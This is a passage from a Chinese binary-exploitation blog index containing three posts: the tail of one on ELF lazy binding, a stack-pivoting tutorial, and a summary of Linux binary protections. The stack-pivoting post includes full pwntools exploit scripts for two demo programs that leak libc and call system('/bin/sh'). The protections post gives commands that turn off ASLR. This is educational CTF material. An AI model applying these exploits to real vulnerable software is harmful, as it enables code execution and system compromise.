函数比后来的调用要花的时间长，因为动态链接器需要截取调用来解析符号。一些应用程序是不能容忍这种延迟的。\n第二，假如发生错误并且动态链接器不能解析该符号，动态链接器将终止程序。在懒惰方式下，这可能发生在程序运行的任意时刻。同样，一些应用程序是不能容忍这种不确定性的。通过关闭懒惰方式，如果发生解析错误，动态链接器会在应用程序接到控制权之前的初始化阶段，就强迫程序失败退出。\n上述内容若有理解不够深入或表述不够恰当之处，欢迎各位师傅批评指正。\n","date":"2026-07-27T16:13:41+08:00","image":"/covers/10.jpg","permalink":"/p/elf-dynamic-section/","title":"ELF文件 Dynamic Section"},{"content":" 栈迁移的本质就是通过修改栈顶指针（esp或者rsp），欺骗程序，让它以为栈在另一块内存区域（比如.bss，堆区，其他栈空间），从而去那里执行我们伪造的ROP链\n前提 当遇到以下几种情形，可以使用栈迁移\n1.栈溢出可用的空间有限 这是最常见的情况，当发现程序存在栈溢出，但溢出的长度只能覆盖到返回地址，或者返回地址后只能再写几个字节时，传统的ROP链根本放不下\n举例：\n缓冲区大小是0x20，但read(0,buf,0x30)只能读48个字节\n填满缓冲区加上覆盖ebp需要0x20+0x8=0x28（40）个字节\n剩下只有8个字节的空间，刚好只能覆盖一个返回地址+额外参数，远远不够我们写入ROP链\n解决思路： 利用仅剩的空间写入能够修改栈指针的指令（如 pop rsp; ret 或 leave; ret），将栈指针“拔”出来，指向一段广阔且你可控的内存（比如事先在 .bss 段写好的长篇 ROP 链）。 2.执行的ROP链特别长 有时溢出空间虽然不算太小（比如写得下几十个字节），但ROP链可能参数多，长度长\n举例：\n题目开启了Seccomp/沙箱限制了execve，无法直接system(\u0026quot;/bin/sh\u0026quot;)\n必须构造ORW（Open，Read，Write）链\n需要调用mprotect来修改某段内存的执行权限\n解决思路： 当前的栈空间不够长，就利用前几个字节触发栈迁移，跳到空间充裕的 .bss 变量区或堆区，那里你可以放几百上千字节的 ROP 链。 3.需要规避ASLR 开启了ASLR，地址空间布局随机化，栈的地址每次都在变\n举例：\n必须在栈上进行精准的数据引用，但无法泄露栈基址，但是程序的.bss段或者.data段地址固定不变。\n解决思路： 把栈直接迁移到你知道具体地址的 .bss 段上去。这样你就可以使用硬编码的绝对地址来引用 ROP 链中的变量和字符串，彻底摆脱对随机化栈地址的依赖。 原理 栈迁移的核心，在于两次leave；ret指令\nleave指令即为mov esp；ebp pop ebp\n先将ebp赋给esp，此时ebp和esp指向同一个地址，可以将现在这个地址当做栈顶或者栈底，然后pop ebp，将栈顶的内容弹入ebp（相当于把ebp的内容赋给了ebp），\n因为esp要时刻指向栈顶，既然栈顶的内容被弹走了，自然esp下移\nret的指令即为pop eip，也就是把栈顶的内容弹出给eip（即为下一条指令执行的地址）\n栈迁移核心：\n（对于main函数里的）首先通过栈溢出把ebp的内容改掉，修改为我们要迁移的那个地址，并且把返回地址填充为leave；ret的地址，因为我们需要两次leave；ret\n执行第一个leave，此时mov esp;ebp让两个指针处于同一个位置，现在还是正常运行，接着执行pop ebp，这里就开始了，因为我们提前把ebp的内容修改成了我们要迁移的地址，因此执行了pop ebp，ebp里装的内容就是我们写好的地址，随后ebp就会弹到那个地址上，接着执行pop eip，也就是ret，而eip里装的又是我们写好的leave;ret的地址，所以eip成功被我们修改，也就是存储下一条指令的地址（leave;ret），就开始了第二轮的leave;ret，到了栈迁移的核心部分，mov esp;ebp，ebp赋给了esp，esp挪到ebp的位置，因为ebp已经修改成为了我们要迁移的地址，所以esp也一样，接着pop ebp，把栈顶内容弹出给ebp，然后esp指向下一个内存单元，此时我们只需要把下一个内存单元放入system函数的地址，这样的话，最后执行pop eip，就可以把system函数的地址直接传给eip，我们就可以成功getshell了，过程图如下：\n总结 核心就是利用两次leave;ret，第一次leave;ret，将ebp指向我们指定的位置（也就是迁移后的地址），第二次esp也迁移到那个地址，然后pop ebp之后，esp也指向下一个内存单元（放着system函数的PLT地址），最终成功getshell\n例题一分析 1 2 3 4 5 6 7 8 9 10 11 12 13 #include \u0026lt;stdio.h\u0026gt; char buf1[0x100]; void main() { char buf2[0x40]; puts(\u0026#34;First: \u0026#34;); read(0, buf1, 0x100); puts(\u0026#34;Second: \u0026#34;); read(0, buf2, 0x60); } // gcc -fno-stack-protector -no-pie -z lazy -o demo1 demo1.c 程序流程很好看出，有两个puts输出，第一次是往buf1里面第二次往buf2里边写入，可以看到第二次写入的时候，很明显存在栈溢出，但是溢出的字节只够写入0x18大小的字节（64位），如果要构造gadget泄露内存地址，最短的ROP链也需要0x20大小，不够\n对于这种情况，就需要使用栈迁移了，来扩大溢出字节数的大小，使用两次leave;ret，通过图解来看leave前后的变化\n这是64位程序，也就是我们可以先通过栈溢出漏洞把rbp的值改为一个已知地址，这样的话，执行完两次leave;ret，就可以劫持rsp寄存器到任意地址，此时rsp寄存器指向的地址即为新栈地址，随后在新地址布置好想要执行的rop gadget，那么溢出字节少的问题就可以解决了\n可以看到，随着pop rbp之后，rbp指向了我们提供的假地址，然后rsp下移，正好指向leave的地址，随后通过ret，让栈顶内容赋给rip，成功开始第二轮leave，随后按照流程，一步步getshell\n必要条件 存在可以劫持程序流和控制rbp寄存器的漏洞 攻击者可以确定准确某一块具有读写权限的地址 在进行栈迁移前需要在这块地址上进行rop gadget布局 对于刚刚的题，保护情况\n未开启PIE保护，地址不会随机化\n即可以直接利用第二次写入存在的栈溢出漏洞覆盖rbp内容为fake_addr，rip则指向leave；ret的地址，随后返回主函数后采用ret2libc执行system(\u0026quot;/bin/sh\u0026quot;)来获取shell\n首先利用第一次输入进行rop chain布局，并利用第二次栈溢出漏洞覆盖rbp为伪栈地址，劫持rip为leave;ret地址，内存变化如图，我们在第一次rop chain布局前面有一小段padding填充在前面，因为我们在栈迁移后，程序指令中所有对于栈的操作都是在伪栈中执行，而伪栈地址与got表地址相邻，填入这一小段padding的目的就是为了避免程序在对伪栈进行读写的时候造成内存数据段内关键信息被覆盖\n在汇编中当我们要对局部变量进行操作时，一般都是用rbp栈底寄存器来定位，如下图所示。这一点在栈迁移中可以让我们构造出一个类似于链表的利用结构，每次布置rop chain时不断将rbp寄存器赋值为伪栈地址，然后跳转到主函数的写入函数处，因为局部变量寻址是通过rbp寄存器，所以我们可以不断进行rop chain的布局。 在第一次进行rop chain的布局中控制rbp寄存器指向新的伪栈地址，那么在返回主函数后执行read函数时，写入地址就是新的伪栈地址，这时只要利用栈溢出漏洞去构造ret2libc即可getshell。\n脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import * p = process(\u0026#39;./demo1\u0026#39;) libc = ELF(\u0026#39;./demo1\u0026#39;).libc fake_stack = 0x601060 leave_ret = 0x40058E puts_plt = 0x400430 puts_got = 0x601018 pop_rdi = 0x4005f3 read_text = 0x400572 payload1 = \u0026#34;a\u0026#34;*0x78+p64(fake_stack+0x408)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text) p.sendafter(\u0026#39;First:\u0026#39;, payload1) payload2 = \u0026#39;a\u0026#39;*0x40+p64(fake_stack+0x78)+p64(leave_ret) p.sendafter(\u0026#39;Second:\u0026#39;, payload2) puts_addr = u64(p.recvuntil(\u0026#39;\\x7f\u0026#39;)[-6:].ljust(8, \u0026#39;\\x00\u0026#39;)) libc_base = puts_addr - libc.sym[\u0026#39;puts\u0026#39;] system = libc_base+libc.sym[\u0026#39;system\u0026#39;] sh = libc_base+libc.search(\u0026#39;/bin/sh\u0026#39;).next() success(hex(libc_base)) payload3 = \u0026#34;a\u0026#34;*0x48+p64(pop_rdi)+p64(sh)+p64(system) p.send(payload3) p.interactive() 例题二分析 一般比赛通常只有一次写入的机会。。\n1 2 3 4 5 6 7 8 9 # include \u0026lt;stdio.h\u0026gt; # include \u0026lt;string.h\u0026gt; void main() { char buf[0x28]; puts(\u0026#34;Hello Hacker.\u0026#34;); read(0, buf, 0x40); } // gcc -fno-stack-protector -no-pie -z lazy -o demo2 demo2.c 与上一道题类似，没有开Canary和PIE保护，不同的是这题只有一次输入机会，并且溢出的字节只能覆盖到返回地址，结合之前的原理，首先在劫持rsp前需要进行rop chain布局，程序并没有一次可以往伪栈布局的机会，但是可以利用劫持程序流的方式来构造这一条件。 观察程序的汇编代码如下图所示，在对局部变量buf进行寻址时使用了rbp寄存器，那么我们可以利用这一点配合栈溢出漏洞来实现伪栈上的rop布局。\n思路 利用栈溢出漏洞劫持rbp寄存器为伪栈地址，返回地址为0x40054b(图中主程序的输入函数)，即可在返回主程序后对伪栈进行rop chain的布局\n对伪栈进行rop chain的布局，泄露LIBC地址并返回主函数\n返回主函数后利用栈溢出漏洞配合栈迁移+ret2libc完成getshell\n伪栈rop布局\n第二次leave; ret指令依然来自主函数退栈时执行，在伪栈上布置好rop chain后程序执行退栈操作，此时rbp寄存器内保存fack_stack-0x30的地址即rop chain地址+0x8的位置处，rsp寄存器被劫持到伪栈上，此时的内存变化如下图所示\n这里为什么是fake_stack-0x30的地址呢？因为在对局部变量buf进行寻址时使用到rbp寄存器，而本题中的buf地址来自[rbp-0x30]的地址，所以如果想要将rsp劫持到rop chain的位置，就需要对rbp寄存器赋值为fakc_stack-0x30，那么在执行第三次leave的时候，rsp寄存器就劫持到rop chain的地址处，此时的内存变化如下图所示\n泄露完LIBC地址后，劫持程序流返回主函数，利用read函数对伪栈进行最后一次rop布局，需要注意此时的写入地址是fake_stack-0x30，所以在栈迁移时rbp寄存器的值为fake_stack-0x30-0x30-0x8的地址处，再执行一次leave; ret时即可将rsp寄存器劫持到ret2libc rop地址处。内存变化如下图所示\n脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * context.log_level = \u0026#39;debug\u0026#39; p = process(\u0026#39;./demo1\u0026#39;) libc = ELF(\u0026#39;./demo1\u0026#39;).libc read_text = 0x40054B fake_rbp = 0x601500 pop_rdi = 0x4005d3 # pop rdi; ret; puts_plt = 0x400430 puts_got = 0x601018 leave_ret = 0x400567 # gdb.attach(p, \u0026#39;b *0x400567\u0026#39;) payload1 = \u0026#39;a\u0026#39;*0x30+p64(fake_rbp)+p64(read_text) p.sendafter(\u0026#34;Hello Hacker.\u0026#34;, payload1) payload2 = p64(fake_rbp-0x30)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)+p64(0)+p64(fake_rbp-0x30)+p64(leave_ret) p.send(payload2) puts_addr = u64(p.recvuntil(\u0026#39;\\x7f\u0026#39;)[-6:].ljust(8, \u0026#39;\\x00\u0026#39;)) libc_base = puts_addr - libc.sym[\u0026#39;puts\u0026#39;] system = libc_base+libc.sym[\u0026#39;system\u0026#39;] sh = libc_base+libc.search(\u0026#39;/bin/sh\u0026#39;).next() success(hex(libc_base)) payload3 = p64(pop_rdi)+p64(sh)+p64(system)+p64(0)*3+p64(fake_rbp-0x68)+p64(leave_ret) p.send(payload3) p.interactive() 本文若有疏漏或表述不当之处，恳请各位师傅批评指正。\n","date":"2026-07-23T13:55:27+08:00","image":"/covers/02.jpg","permalink":"/p/stack-pivot/","title":"栈迁移"},{"content":"1.ASLR ASLR是操作系统的功能选项，作用于executable（ELF）装入内存运行时，因而只能随机化stack，heap，libraries的基址\n作用 未开启：无作用 半开启：随机化 stack 和 libarys 全开启：随机化 stack、libarys 和 heap\n开启关闭方式 1 2 3 4 5 6 ## 未开启：地址随机化关闭 echo 0 \u0026gt; /proc/sys/kernel/randomize_va_space ## 半开启：随机化 stack 、librarys echo 1 \u0026gt; /proc/sys/kernel/randomize_va_space ## 全开启：随机化 stack 、librarys 、heap（默认选项） echo 2 \u0026gt; /proc/sys/kernel/randomize_va_space 2.NX No-Execute（不可执行），NX的原理是将数据所在内存页标识为不可执行，当程序执行流被劫持到栈上时，程序会尝试在数据页面上执行指令，因为数据页被标记为不可知性，此时CPU就会抛出异常，而非去执行栈上数据\n在程序的某个位置有控制程序是否可以执行的标志位（若为 6 不可执行 、7 不可执行），也可以用 execstack 工具查询和设置该标志位，该标志位在 51e5 7464 后边。\n作用 NX disabled： 栈可以执行，栈上的数据也可以被当作代码执行。 NX enabled： 栈不可执行，栈上的数据程序只认为是数据，如果去执行的话会发生错误。即栈上的数据不可以被当作代码执行。\n3.PIE PIE（Position Independent Executables）是编译器功能选项，作用于编译过程，其随机化了ELF装载内存的基址（代码段，PLT，GOT，data等共同的基地址），效果为用objdump，IDA反汇编之后的地址是用偏移表示的而不是用绝对地址\n作用 No PIE： 无作用 PIE enabled： 代码段、plt、got、data 等共同的基址会随机化。在编译后的程序中，只保留指令、数据等的偏移，而不是绝对地址的形式。\n4.Canary 金丝雀保护，用来防护栈溢出的保护机制，原理是在函数入口处，先从fs/gs寄存器中取出一个4(eax)/8(rax)字节的cookie信息存到栈上，当函数结束返回的时候会验证cookie信息是否合法（与开始存的是否一致），如果不合法就停止程序运行，真正的cookie信息也会存到程序的某个位置。\n作用 无 Canary 保护： 无任何作用 部分函数 Canary 保护： 在一些容易受到攻击的函数返回地址之前添加 cookie 。在函数返回时，检查该 cookie 与原本程序插入该位置的 cookie 是否一致，若一致则程序认为没有受到栈溢出攻击。 全部函数 Canary 保护： 所有的自定义函数在返回地址之前都会添加 cookie 。在函数返回时，检查该 cookie 与原本程序插入该位置的 cookie 是否一致，若一致则程序认为没有受到栈溢出攻击。\n5.RELRO 设置符号重定位表格为只读或在程序启动时就解析并绑定所有动态符号，从而减少对GOT的攻击\n作用 No RELRO： 在这种模式下关于重定位并不进行任何保护。 Partial RELRO： 在这种模式下，一些段 (包括.dynamic) 在初始化后将会被标识为只读。 Full RELRO： 在这种模式下，除了会开启部分保护外。惰性解析会被禁用（所有的导入符号将在开始时被解析，.got.plt 段会被完全初始化为目标函数的终地址，并被标记为只读）。此外，既然惰性解析被禁用，GOT[1] 与 GOT[2] 条目将不会被初始化为提到的值。但是Full RELRO会增加启动时间\n添加方式 1 2 3 4 5 6 ## 关闭： No RELRO -z norelro ## 开启： Partial RELRO(默认选项) -z lazy ## 完全开启： Full RELRO -z now 若文中有理解不深、表述欠妥之处，欢迎各路师傅指正交流。\n","date":"2026-07-21T08:41:03+08:00","image":"/covers/05.jpg","permalink":"/p/linux-binary-protection/","title":"Linux二进制程序保护机制"}]